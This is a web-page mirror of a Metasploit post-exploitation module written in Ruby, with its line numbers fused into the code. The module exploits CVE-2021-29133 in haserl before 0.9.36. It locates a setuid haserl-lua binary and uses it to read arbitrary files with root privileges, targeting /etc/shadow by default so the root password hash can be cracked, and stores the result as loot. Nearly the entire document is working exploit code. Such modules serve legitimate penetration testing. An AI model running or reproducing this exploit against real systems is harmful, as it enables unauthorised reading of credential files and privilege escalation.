Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/haserl_read.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Haserl Arbitrary File Reader',14'Description' => %q{15This module exploits haserl prior to 0.9.36 to read arbitrary files.16The most widely accepted exploitation vector is reading /etc/shadow,17which will reveal root's hash for cracking.18},19'License' => MSF_LICENSE,20'Author' => [21'Julien (jvoisin) Voisin', # metasploit module22'Ike Broflovski' # discovery23],24'Platform' => [ 'linux' ],25'SessionTypes' => [ 'shell', 'meterpreter' ],26'References' => [27['URL', 'https://twitter.com/steaIth/status/1364940271054712842'],28['URL', 'https://gitlab.alpinelinux.org/alpine/aports/-/issues/12539'],29['CVE', '2021-29133']30],31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [IOC_IN_LOGS],34'Reliability' => []35}36)37)38register_options([39OptString.new('RFILE', [true, 'File to read', '/etc/shadow']),40])41end4243def haserl_lua_paths44begin45files = get_suid_files('/usr/bin')46rescue StandardError47return48end4950return unless files5152return files.select { |f| File.basename(f).starts_with?('haserl-lua') }53end5455def run56if is_root?57fail_with(Failure::BadConfig, 'Session already has root privileges')58end5960files = haserl_lua_paths6162if files.nil? || files.empty?63fail_with(Failure::NotVulnerable, 'Could not find setuid haserl lua executable in /usr/bin/')64end6566binary = files.first6768print_good("Found set-uid haserl: #{binary}")6970output = cmd_exec("#{binary} '#{datastore['RFILE']}'")7172return if output.empty?7374fname = File.basename(datastore['RFILE'].downcase)75p = store_loot(76"haserl_#{fname}",77'text/plain',78session,79output,80"haserl_#{fname}",81'haserl arbitrary read'82)83vprint_good("#{fname} saved in: #{p}")84end85end868788